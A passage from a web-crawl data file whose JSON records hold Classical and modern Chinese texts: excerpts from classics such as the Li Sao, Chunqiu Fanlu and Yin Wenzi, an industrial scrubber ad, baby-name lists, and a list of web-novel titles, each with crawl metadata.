、蹈之既難,錯之益不易,是以君子慎諸己以為往鑒焉。」","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/core.xueheng.net\/zhong_lun\/0006.htm","date":"2021-09-23T00:30:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057403.84\/warc\/CC-MAIN-20210922223752-20210923013752-00200.warc.gz","language":"lzh","language_score":0.6193719506,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6193719506263733, \"cmn_Hani_score\": 0.30613136291503906, \"nan_Hani_score\": 0.04092295095324516, \"wuu_Hani_score\": 0.012504500336945057}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.591,"perplexity_score":500.0,"cluster_detection":1} +{"text":"噴淋塔,也可稱為洗滌塔、水洗塔、凈化塔,是氣液反應系統中的常用設備,廢氣與液體逆向接觸,經過洗滌使氣體達到凈化、除塵、降溫等作用,目前廣泛應用于工業酸堿廢氣處理中。\n服務地區\n重慶 河北 山西 內蒙古 遼寧 沈陽 大連 吉林 長春 黑龍江 江蘇 南京 蘇州 無錫 浙江 杭州 安徽 合肥 福建 福州 廈門 江西 南昌 山東 濟南 河南 鄭州 南陽 洛陽 湖北 武漢 湖南 長沙 湘潭 衡陽 海南 四川 成都 云南甘肅 寧夏 青海 新疆 廣西 南寧 柳州 桂林 梧州 玉林 北海 廣東 韶關 清遠 惠州 梅縣 汕頭 深圳 昆明 陜西 西安 肇慶 珠海 湛江 江門 東莞 中山 臺山 潮州 茂名","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/www.matomelink.com\/c_fyqong\/p6177329.html","date":"2022-01-19T16:30:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301475.82\/warc\/CC-MAIN-20220119155216-20220119185216-00292.warc.gz","language":"lzh","language_score":0.6705784798,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6705784797668457, \"cmn_Hani_score\": 0.3042311370372772, \"nan_Hani_score\": 0.01944589614868164}","num_words":70,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.746,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1、长太息以掩涕兮,哀民生之多艰。余虽好修姱以鞿羁兮,謇朝谇而夕替。既替余以蕙纕兮,又申之以揽茝。亦余心之所善兮,虽九死其犹未悔。怨灵修之浩荡兮,终不察夫民心。众女嫉余之蛾眉兮,谣诼谓余以善淫。固时俗之工巧兮,偭规矩而改错。\n2、背绳墨以追曲兮,竞周容以为度。忳郁邑余侘傺兮,吾独穷困乎此时也。宁溘死以流亡兮,余不忍为此态也!鸷鸟之不群兮,自前世而固然。何方圜之能周兮?夫孰异道而相安?屈心而抑志兮,忍尤而攘诟。伏清白以死直兮,固前圣之所厚。悔相道之不察兮,延伫乎吾将反。路曼曼其修远兮,吾将上下而求索。回朕车以复路兮,及行迷之未远。步余马于兰皋兮,驰椒丘且焉止息。\n3、进不入以离尤兮,退将复修吾初服。制芰荷以为衣兮,集芙蓉以为裳。不吾知其亦已兮,苟余情其信芳。高余冠之岌岌兮,长余佩之陆离。芳与泽其杂糅兮,唯昭质其犹未亏。忽反顾以游目兮,将往观乎四荒。佩缤纷其繁饰兮,芳菲菲其弥章。民生各有所乐兮,余独好修以为常。虽体解吾犹未变兮,岂余心之可惩?女嬃之婵媛兮,申申其詈予,曰:\"鲧婞直以亡身兮,终然夭乎羽之野。\n4、汝何博謇而好修兮,纷独有此姱节?薋菉葹以盈室兮,判独离而不服。\"众不可户说兮,孰云察余之中情?世并举而好朋兮,夫何茕独而不予听?依前圣以节中兮,喟凭心而历兹。","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/m.wybk.com\/jiaoyu\/7da722906007cfbd94ec94a0ef8edf33.html","date":"2023-09-29T14:00:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510516.56\/warc\/CC-MAIN-20230929122500-20230929152500-00643.warc.gz","language":"lzh","language_score":0.6622964144,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6622964143753052, \"zxx_Latn_score\": 0.06512241065502167, \"cmn_Hani_score\": 0.04640353098511696, \"nan_Hani_score\": 0.03728974983096123, \"und_Xsux_score\": 0.013195273466408253, \"und_Tang_score\": 0.011667737737298012, \"yue_Hani_score\": 0.010023401118814945}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.327,"perplexity_score":500.0,"cluster_detection":1} +{"text":"林於錦 校對提供\n董子春秋繁露卷第十五\n郊祭第六十七\n《春秋》之義,國有大喪者,止宗廟之祭,而不止郊祭,不敢以父母之喪,廢事天地之禮也。父母之喪,至哀痛悲苦也,尚不敢廢郊也,孰足以廢郊者?故其在禮,亦曰:「喪者不祭,唯祭天為越喪而行事。」 (王制曰唯祭天地社稷為越绋而行事) 夫古之畏敬天而重天郊,如此甚也。今羣臣學士不探察,曰:「萬民多貧,或頗饑寒,足郊乎?」是何言之誤!天子父母事天,而子孫畜萬民。民未徧飽,無用祭天者,是猶子孫未得食,無用食父母也。言莫逆於是,是其去禮遠也。先貴而後賤, (錢云先貴而後賤上當有禮者二字文脫耳) 孰貴於天子?天子號天之子也。奈何受為天子之號,而無天子之禮?天子不可不祭天也,無異人之不可以不食父。 (此下當接郊祀篇首一段為人子而不事父者天下莫能以為可供一百九十五字移此方脗合) 故古之聖王,文章之最重者也,前世王莫不從,重粟精奉之以事上天,至於秦而獨闕然廢之一,何不率由舊章之大甚也,天者;百神之大君也,事天不備,雖百神猶無益也,何以言其然也,祭而地神者春秋譏之 (祭而地神者文有訛脫此指不郊猶三望之類舊校云地神疑他神) 孔子曰:獲罪於天無所禱也,是其法也,故未見秦國致天福如周國也,詩云唯此文王,小心翼翼,昭事上帝,允懷多福,多福者非謂人也,事功也,謂天之所福也,傳曰:周國子多賢,蕃殖至於駢,孕男者四,四產而得八男,皆君子俊雄也,此天之所以興周國也,非周國之所能為也。今秦與周俱得為天子,而所以事天者,異於周以郊為百神始,始入歲首必以正月上辛日,先享天乃敢於地,先貴之義也,夫歲先之與歲弗行也,相去遠矣,天下福若無可怪者然,所以久弗行者,非灼灼見其當而故弗行也,典禮之官,常嫌疑,莫能昭昭明其當也,今切以為其當與不當,可內反於心而定也,堯為舜曰:天之曆數在爾,躬言察身以知天也,今身有子,孰不欲其有子禮也,聖人正名,名不虛生天子者,則天之子也,以身度天獨何為不欲其子之有子禮也,今為其天子,而闕然無祭于天,天何必善之 (錢云此下當似接郊祀篇中周宣王時一條此下所聞曰云云似非論郊之文) 所聞曰:天下和平,則災害不生,今災害生,見天下未和平也,天下未和平者,天子之教化不行也,詩曰:有覺德行,四國順之。覺者著也,王者有明,著之德行於世則四方莫不響應,風化善於彼以,故曰:悅於慶賞,嚴於刑罰,疾於法令。","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.chineseclassic.com\/content\/1338","date":"2024-03-04T10:46:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947476442.30\/warc\/CC-MAIN-20240304101406-20240304131406-00041.warc.gz","language":"lzh","language_score":0.5523725152,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.5523725152015686, \"cmn_Hani_score\": 0.384708046913147, \"nan_Hani_score\": 0.03976970165967941, \"wuu_Hani_score\": 0.012666067108511925}","num_words":15,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.626,"perplexity_score":500.0,"cluster_detection":1} +{"text":"國朝方正瑗撰。正瑗字引除。號方齋。桐城人。康熙庚子舉人。官至陝西潼商道。是書以莊子背馳聖道。故卽其內篇之目。而補其所未及。論者蓋欲明孔之全。正莊之偏。反莊之肆。以規學莊者於醇也。然莊子之書。汪洋恣肆。本不附托聖人以立言。此乃一一與之辨難。殊爲贅設。反南華經之名。而別名西華經。尤爲不必矣。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0264103.html","date":"2017-04-29T01:36:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123172.42\/warc\/CC-MAIN-20170423031203-00124-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.5184386969,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.5184386968612671, \"cmn_Hani_score\": 0.3854995369911194, \"nan_Hani_score\": 0.025759482756257057, \"wuu_Hani_score\": 0.02322179265320301, \"yue_Hani_score\": 0.01977023482322693}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.518,"perplexity_score":500.0,"cluster_detection":1} +{"text":"尹文子\n群書治要卷三十七\n大 道(本書大道下有上字)\n古人以度審長短。以量受少多。以衡平輕重。以律均清濁。以名稽虚實。以法定治亂。以簡制煩惑。以易御險難。萬事皆歸於一。百度皆準於法。歸一者簡之至。準法者易之極。如此。則頑嚚聾瞽可與察惠聰明同治矣。天下萬事不可備能。責其備能於一人。則賢聖其猶病諸。設一人能備天下之事。則左右前後之宜。遠近遲疾之間。必有不兼者焉。苟有不兼。於治闕矣。全治而無闕者。大小多少。各當其分。農商工仕。不易其業。則處上有何事哉。\n故有理而無益於治者。君子不言。有能而無益於事者。君子弗爲。君子非樂有言。有益於治。不得不言。君子非樂有爲。有益於事。不得不爲。故所言者不出於名法權術。所爲者不出於農稼軍陣。周務而已。故明主任之。\n治外之理。小人之所必言。事外之能。小人之所必爲。小人亦知言有損於治而不能不言。小人亦知能有損於治而不能不爲。故所言者極於儒墨是非之辨。所爲者極於堅僞偏抗之行。求名而已。故明主誅之。故古語曰。不知無害爲君子。知之無損爲小人。工匠不能無害於巧。君子不知無害於治。此言信矣。爲善使人不能得從。爲巧使人不能得爲。此獨善獨巧者也。未盡巧善之理。爲善與衆行之。爲巧與衆能之。此善之善者。巧之巧者也。\n故所貴聖人之治。不貴其獨治。貴其能與衆共治也。所貴工倕之巧。不貴其獨巧。貴其與衆共巧也。今世之人。行欲獨賢。事欲獨能。辨欲出群。勇欲絶衆。獨行之賢。不足以成化。獨能之事。不足以周務。出群之辨。不可爲户説。絶衆之勇。不可與征陣。凡此四者。亂之所由生。\n是以聖人任道以通其嶮。立法以理其差。使賢愚不相弃。能鄙不相遺。能鄙不相遺。則能鄙齊功。賢愚不相弃。則賢愚等慮。此至治之術也。名定則物不競。分明則私不行。物不競。非無心。由名定。故無所厝其心。私不行。非無欲。由分明。故無所厝其欲。然則心欲人人有之。而得同於無心無欲者。制之有道也。彭蒙曰。雉菟在野。衆人逐之。分未定也。鷄豕滿市。莫有志者。分定故也。圓者之轉。非能轉而轉。不得不轉也。方者之止。非能止而止。不得不止也。因圓者之自轉使不得止。因方者之自止使不得轉。何苦物之失分。\n故因賢者之有用。使不得不用。因愚者之無用。使不得用。用與不用。皆非我也。因彼可用與不可用。而自得其用也。自得其用。奚患物之亂也。道行於世。則貧賤者不怨。富貴者不驕。愚弱者不懾。智勇者不矜。足於分也。法行於世。則貧賤者不敢怨富貴。富貴者不敢凌貧賤。愚弱者不敢冀智勇。智勇者不敢鄙愚弱。此法之不及道也。\n世之所貴。同而貴之。謂之俗。世之所用。同而用之。謂之物。苟違於人。俗所不與。苟忮於衆。俗所共去。故人心皆殊。而爲行若一。所好各异。而資用必同。此俗之所齊。物之所飾。故所齊不可不慎。所飾不可不擇。昔齊桓好衣紫。合境不鬻异綵。楚莊愛細腰。一國皆有飢色。上之所以率下。乃治亂之所由也。國亂有三事。年飢民散、無食以聚之則亂。治國無法則亂。有法而不能用則亂。有食以聚民。有法而能行。國不治。未之有也。\n聖 人(本書聖人作大道下)\n仁、義、禮、樂。名、法、刑、賞。凡此八者。五帝三王治世之術也。故仁以導之。義以宜之。禮以行之。樂以和之。名以正之。法以齊之。刑以威之。賞以勸之。故仁者所以博施於物。亦所以生偏私。義者所以立節行。亦所以成華僞。禮者所以行謹敬。亦所以生惰慢。樂者所以和情志。亦所以生淫放。名者所以正尊卑。亦所以生矜篡。法者所以齊衆异。亦所以生乖分。刑者所以威不服。亦所以生陵暴。賞者所以勸忠能。亦所以生鄙争。\n凡此八術。無隱於人。而常存於世。非自顯於堯、湯之時。非故逃於桀、紂之朝。用得其道。則天下治。用失其道。則天下亂。過此而往。雖彌綸天地。纏絡萬品。治道之外。非群生所餐挹。聖人措而不言也。\n凡國之將存亡有六徵。有衰國。有亂國。有亡國。有昌國。有强國。有治國。所謂亂亡之國者。凶虐殘暴不與焉。所謂强治之國者。威力仁義不與焉。君年長。多妾媵。少子孫。疏宗强。衰國也。君寵臣。臣愛君。公法廢。私欲行。亂國也。國貧小。家富大。君權輕。臣勢重。亡國也。凡此三徵。不待凶虐殘暴而後弱也。雖曰見存。吾必謂之亡者也。\n内無專寵。外無近習。支庶繁息。長幼不亂。昌國也。農桑以時。倉廩充實。兵甲勁利。封疆修理。强國也。上不能勝其下。下不能犯其上。上下不相勝犯。故禁令行。人人無私。雖經嶮易而國不可侵。治國也。凡此三徵。不待威力仁義而後强。雖曰見弱。吾必謂之存者也。\n語曰。佞辨可以熒惑鬼神。探人之心。度人之欲。順人於嗜好而弗敢逆。納人於邪惡而求利。人喜聞己之美也。善能揚之。惡聞己之過也。而善能飾之。得之於眉睫之間。承之於言行之先。世俗之人。聞譽則悦。聞毁則戚。此衆人之大情。有同己則喜。异己則怒。此人之大情。故佞人善爲譽者也。善順從者也。人言是、亦是之。人言非、亦非之。從人之所愛。隨人之所憎。故明君雖能納正直。未必親正直。雖能遠佞人。未必能疏佞人。故舜、禹者。以能不用佞人。亦未必憎佞人。語曰。佞辨惑物。舜禹不能得憎。不可不察乎。\n老子曰。民不畏死。如之何其以死懼之。凡人之不畏死。由刑罰過。刑罰過則民不賴其生。生無所賴。視君之威未如也。刑罰中則民畏死。畏死、由生之可樂。故可以死懼矣。此人君之所宜執。臣下之所宜懼之。\n田子曰。人皆自爲而不能爲人。故君人者之使人。使其自爲用、而不使爲我用。魏下先生曰。善哉。田子之言。古者君之使臣。求不私愛於己。求顯忠於己。而居官者必能。臨陣者必勇。禄賞之所勸。名法之所齊。不出於己心。不利於己身。\n語曰。禄薄者不可與經亂。賞輕者不可與入難。此處上者所宜慎者也。父之於子也。令有必行者。有不必行者。去貴妻。賣愛妾。此令必行者也。因曰汝無敢恨。汝無敢思。令必不行者也。故爲人上者。必慎所令焉。人貧則怨人。富則驕人。怨人者苦人之不禄施於己也。起於情所難安而不能安。猶可恕也。驕人者無所苦而無故驕人。此情所易制弗能制。不可恕矣。\n貧賤之望富貴甚微。而富貴不能酬其甚微之望。夫富者之所惡。貧者之所美。貴者之所輕。賤者之所榮。然而弗酬。不與同苦樂故也。雖不酬之。於我弗傷。今萬民之望人君。亦如貧賤者之望富貴。其所望者。蓋欲料長幼。平賦斂。時其飢寒。省其疾痛。賞罰不濫。使役以時。如此而已。則於人君弗損也。然而弗酬。弗與同勞逸故也。故爲人君不可不與人同勞逸焉。故富貴者不可不酬貧賤。而人君不可不酬萬民。則萬民之所不願戴。所不願戴。君位替矣。危莫甚焉。禍莫大焉。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022060.html","date":"2017-04-24T03:35:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00591-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.5318991542,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5318991541862488, \"cmn_Hani_score\": 0.2721814513206482, \"nan_Hani_score\": 0.09882567822933197, \"jpn_Jpan_score\": 0.025546062737703323, \"wuu_Hani_score\": 0.02001565508544445, \"yue_Hani_score\": 0.010902111418545246}","num_words":22,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":0.532,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓皇甫的好聽的男孩名字有哪些呢?名字是孩子一生中最忠實可靠的朋友,無論春風得意,抑或秋雨梧桐,名字都與孩子相依相守,不離不棄。那姓皇甫的男寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓皇甫的好聽的男孩名字!\n姓皇甫的好聽的男孩名字\n皇甫浩彰 皇甫柯格 皇甫熙清 皇甫現頡 皇甫若秋 皇甫宣皇 皇甫珊珊 皇甫維尼 皇甫菊香 皇甫桐煒 皇甫寅爭 皇甫林建 皇甫錦帥 皇甫佳園 皇甫兵枰 皇甫一良 皇甫慧女 皇甫壹堯 皇甫宇涵 皇甫梓依 皇甫慧曉 皇甫思嫻 皇甫岑 皇甫偉超 皇甫玉欣 皇甫維國 皇甫詠曦 皇甫斌樺 皇甫月茜 皇甫之揚 皇甫治誠 皇甫雲勝 皇甫申博 皇甫鴻康 皇甫亞軍 皇甫光孿 皇甫亦芊 皇甫小路 皇甫訪賢 皇甫慶荔 皇甫藝韜 皇甫海軒 皇甫安全 皇甫日生 皇甫吏虎 皇甫學軍 皇甫煒鈴 皇甫敞們 皇甫永睿 皇甫星語 皇甫之哲 皇甫子荃 皇甫嗣雨 皇甫勇明 皇甫定舟 皇甫興平 皇甫滇鴻 皇甫冰芹 皇甫根 皇甫筱紋 皇甫福娃 皇甫柏淼 皇甫魚 皇甫新 皇甫德慶 皇甫添潤 皇甫啟潤 皇甫韶峰 皇甫昱 皇甫百翰 皇甫舒眉 皇甫洪敏 皇甫斌 皇甫填棋 皇甫子貽 皇甫佳藝 皇甫施慧 皇甫文靜 皇甫屹川 皇甫顯民 皇甫海明 皇甫小平 皇甫春林 皇甫芯岑 皇甫若冰 皇甫佳佳 皇甫傢豪 皇甫知上 皇甫懿懌 皇甫琪蕾 皇甫嘉煒 皇甫二五 皇甫嘉舫 皇甫富平 皇甫海菊 皇甫一維 皇甫寶寶 皇甫義傑 皇甫語烯 皇甫麗群 皇甫白石 皇甫舒培 皇甫慶鑫 皇甫虹憬 皇甫廣偉 皇甫小豐 皇甫艷華 皇甫德正 皇甫彥鴻 皇甫田曦 皇甫耀勇 皇甫永升 皇甫兆賀 》》還是沒有找到滿意的名字?不妨問問大師。\n皇甫竟 皇甫靜 皇甫璐璐 皇甫寶珍 皇甫建設 皇甫琪淵 皇甫海珊 皇甫鵬 皇甫躍佳 皇甫浩色 皇甫迪 皇甫駿峰 皇甫佳名 皇甫晉軒 皇甫南華 皇甫秀屹 皇甫二丫 皇甫秋香 皇甫藤馀 皇甫皓雯 皇甫益明 皇甫詩函 皇甫棟 皇甫柯海 皇甫嶼 皇甫澤凡 皇甫沛妙 皇甫藝新 皇甫東輝 皇甫承致 皇甫澤 皇甫宇豪 皇甫潤彤 皇甫永敏 皇甫敉 皇甫鈺琛 皇甫京帥 皇甫建林 皇甫妙賢 皇甫克兵 皇甫顥 皇甫樂佛 皇甫景超 皇甫問耿 皇甫連生 皇甫熙澤 皇甫銀鐵 皇甫傢平 皇甫嶸 皇甫駿 皇甫李殊 皇甫荏梧 皇甫韻白 皇甫東濤 皇甫涵狄 皇甫博 皇甫岌 皇甫俊陽 皇甫麒霖 皇甫文橋 皇甫光 皇甫瀅 皇甫龍浩 皇甫旌邵 皇甫華平 皇甫儀莎 皇甫雨肖 皇甫興華 皇甫豐陽 皇甫遠一 皇甫淪 皇甫明 皇甫弓宏 皇甫豐田 皇甫廣迪 皇甫如昌 皇甫真亦 皇甫開帆 皇甫凌勇 皇甫予綸 皇甫融 皇甫蘊珈 皇甫潤澤 皇甫瑞奇 皇甫佚 皇甫紅軍 皇甫聖佳 皇甫保華 皇甫權 皇甫鴻宵 皇甫紫函 皇甫葉冰 皇甫侃 皇甫宗龍 皇甫景森 皇甫政德 皇甫合林 皇甫旭晶 皇甫芳香 皇甫玉海 皇甫浠楠 皇甫玄乙 皇甫檬藝 皇甫承緒 皇甫碧染 皇甫煜蘢 皇甫馨勻 皇甫薇亦 皇甫雨彤 皇甫珍 皇甫天豪 皇甫俊清 皇甫彥霖 皇甫芄 皇甫辰娣 皇甫清源 皇甫書翌 皇甫長雨 皇甫書研 皇甫殷巰 皇甫醫萌 皇甫旭涵 皇甫吉慧 皇甫薪潼 皇甫樹剛 皇甫誠亮 皇甫勇江 皇甫培培 皇甫巾宏 皇甫藍嬉 皇甫豐潤 皇甫天亮 皇甫雨牧 皇甫偉雄 皇甫良辰 皇甫雲映 皇甫子欣 皇甫屹峰 皇甫哲瀟 皇甫舒馨 皇甫姍娉 皇甫飛飛 皇甫皓 皇甫苓 皇甫冠濘 皇甫勝天 皇甫鎖寶 皇甫廣昊 皇甫紹榮 皇甫政輝 皇甫子潼 皇甫文箐 皇甫雪峰 皇甫子牛 皇甫彥彤 皇甫元梓 皇甫亭伊 皇甫玄 皇甫錫雄 皇甫樺 皇甫展佑 皇甫小桃 皇甫筱晗 皇甫沐熙 皇甫好琦 皇甫傢陽 皇甫羽昊\n皇甫祺算 皇甫萃媚 皇甫鴻陽 皇甫嘉裕 皇甫思岑 皇甫敬躍 皇甫建傑 皇甫樂天 皇甫凱旋 皇甫心丁 皇甫方輝 皇甫柯熠 皇甫秘寶 皇甫善忻 皇甫森林 皇甫菡菡 皇甫一雯 皇甫子歆 皇甫愉佳 皇甫浩 皇甫亞平 皇甫芽 皇甫桂芝 皇甫越然 皇甫之程 皇甫芷筠 皇甫嘉聞 皇甫敏 皇甫文武 皇甫崢 皇甫澤靈 皇甫似曦 皇甫廣林 皇甫苗 皇甫孟偉 皇甫奕斐 皇甫顯明 皇甫筱洋 皇甫相 皇甫晨菏 皇甫鬱芮 皇甫譽暢 皇甫尾 皇甫夢琪 皇甫任 皇甫東庭 皇甫艾妮 皇甫花蓮 皇甫毅 皇甫芯 皇甫秀榮 皇甫珊妮 皇甫小卓 皇甫季鵬 皇甫雨峰 皇甫柳源 皇甫子皓 皇甫亞慧 皇甫基鎧 皇甫其業 皇甫振華 皇甫龐博 皇甫傢豪 皇甫天赫 皇甫釋燃 皇甫青 皇甫雯樂 皇甫梓鑫 皇甫竟希 皇甫侃郴 皇甫梁 皇甫煒發 皇甫建月 皇甫智 皇甫瓔巧 皇甫煥蘭 皇甫婕妤 皇甫驕陽 皇甫風飯 皇甫耀 皇甫添垣 皇甫展樣 皇甫博希 皇甫煒霖 皇甫建秦 皇甫建輝 皇甫恩典 皇甫慶欣 皇甫彬濱 皇甫宇立 皇甫振彪 皇甫樞宸 皇甫忠皖 皇甫雲昊 皇甫泓凱 皇甫天 皇甫志博 皇甫柳城 皇甫敏崢 皇甫浩鳴 皇甫柏寧 皇甫戰友 皇甫九書 皇甫蘆傢 皇甫巖智 皇甫覺內 皇甫文皓 皇甫志恒 皇甫書才 皇甫凱妤 皇甫賤 皇甫林 皇甫靚淇 皇甫彩柔 皇甫諾 皇甫榮崢 皇甫江南 皇甫欣其 皇甫宜彬 》》還是沒有找到滿意的名字?不妨問問大師。\n皇甫(Huáng fǔ)姓源出有二:\n1、出自西周,以官名為氏。西周太師(高級武官)皇甫的後代以\"皇甫\"為姓,稱皇甫氏。\n2、出自子姓,是春秋時宋國公族的後代,為皇父氏所改。西周後期宋戴公有個兒子叫公子充石,字皇父,宋武公時任司徒。當時有長狄鄋瞞部落進攻宋國,皇父領軍反擊,打退瞭長狄任,但皇父和兩個兒子也不幸戰死沙場。後來皇父的孫子南雍陲以祖父的字為姓氏,稱為皇父氏。其六世孫皇父孟子,生子皇父遇。秦國滅宋時,皇父遇逃至魯國。西漢中期,皇父遇嫡系子孫皇父鸞,自魯遷居陜西茂盛陵,把姓氏中的\"父\"字改為\"甫\"字(古代二字同音通用),遂成皇甫氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.share4tw.com\/archives\/285554","date":"2017-07-27T17:02:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549428325.70\/warc\/CC-MAIN-20170727162531-20170727182531-00503.warc.gz","language":"lzh","language_score":0.9793304205,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.9793304204940796, \"cmn_Hani_score\": 0.01844111829996109}","num_words":407,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.983,"perplexity_score":500.0,"cluster_detection":1} +{"text":"至尊重生 小说推荐:男穿越或重生在异界玄幻完结小说\n[导读]中国人。\n天尊重生 黄龙真人异界游 永恒圣帝 太古至尊 神道丹尊 丹武圣尊 万古丹帝 丹武神尊 九阳丹神 剑皇重生 最强丹神 五界至尊 仙帝重生 异世傲天 狂武战帝 帝霸 斗罗大陆 修真者在异世 仙帝归来 万古大帝 丹武至尊 绝世杀神 万域灵神 天界战神 天界至尊 龙纹战神 万古天帝 万古神帝 生死丹尊 从仙侠世界归来 凌天战尊 重生之神帝归来 玄天魂尊 妖神记 不死天尊 天域武神 百万年前的修仙者 仗剑逍遥 九幽天帝 绝天武帝 仙武至尊 万古圣王 逐天大帝 逆世仙尊 吞噬万界 杀神之神 极品霸帝 天命武神 剑神重生 不朽丹神 剑圣重生 三界独尊 万古至尊 万古武帝 九龙战天决 妖龙古帝 诛天战帝 九龙圣祖 凌仙神尊 天命武君 万古狂尊 重生之不朽帝君 至尊邪神 亘古大帝 至尊重生 绝世大帝 九劫神帝 武神主宰 武帝重生 绝天武帝 神武帝主 苍穹武帝 魂战圣帝 丹道宗师 绝世药神 神道丹尊 逆天战神 天界战神 剑神纵横异界 龙武狂帝 九龙神君 不灭阳帝","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/atyoursideconsulting.com\/jZUZ\/1086.html","date":"2018-10-23T20:41:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583517376.96\/warc\/CC-MAIN-20181023195531-20181023221031-00218.warc.gz","language":"lzh","language_score":0.6954457164,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.695445716381073, \"cmn_Hani_score\": 0.22966337203979492, \"nan_Hani_score\": 0.029193570837378502, \"jpn_Jpan_score\": 0.021395428106188774, \"yue_Hani_score\": 0.011822747997939587, \"wuu_Hani_score\": 0.011625995859503746}","num_words":85,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.696,"perplexity_score":500.0,"cluster_detection":1} +{"text":"回复:当取::何睿麒:睿智!典雅*生事业兴。\n何梓溪 晨源 三才 金金土 吉 八字\n何荷,何曾,何诺\n起名、改名的步骤是: 一、你应当向起名字老师提供准确的出生时间(公历或者农历?年?月?日?时辰)和出生地(?省?县或者市); 二、由起名字老师根据你提供的出生资料排出你的八字; 三、根据你的八字,按照易经理论原则研究分析你的八字,...\n周嘉何蕴 周钰何涵\n可盈,何思萱(思:思念,萱:代表母爱,母亲之意)何忆馨(忆:铭记,记忆)\n何苡萧,何筱潇\n何莉修 带修了\n何忠坪 何垭愉 何垭滢 何金川 何金选 何林成 何忠平 何俊 何少铭 何氦刚 何氦港 何氦纲 何嗨纲 何嗨港 何海冈 何海缸 何海扛 何海罡 何海纲 何海钢 何海江 何海刚 何林 何海岗 何励聪 何疆霖 何江霖 何江苓 何潇励 何姜苓 何海港 何培佩 何立新 ...\n何世潇 何世静 何世燕 何世易 何世泊 何世莉 何世丽 何世一 何世也 何世敏 何世正 何世凉 何世艳 何世杨 何世峰 何世皓 何世娟 何世楠 何世馨 何世陶 何世云 何世彬 何世红 何世钫 何世玥 何世梦 何世烨 何世佳 何世爽 何世杉 何世艺 何世洋 何...","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/lssq.net\/z-u4xNK7uPbD-9fWo6yxvsjL0NW6zg.html","date":"2018-11-14T22:05:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039742316.5\/warc\/CC-MAIN-20181114211915-20181114233915-00178.warc.gz","language":"lzh","language_score":0.810703814,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8107038140296936, \"cmn_Hani_score\": 0.16614484786987305, \"nan_Hani_score\": 0.02123720943927765}","num_words":84,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.271,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.928,"perplexity_score":500.0,"cluster_detection":1} 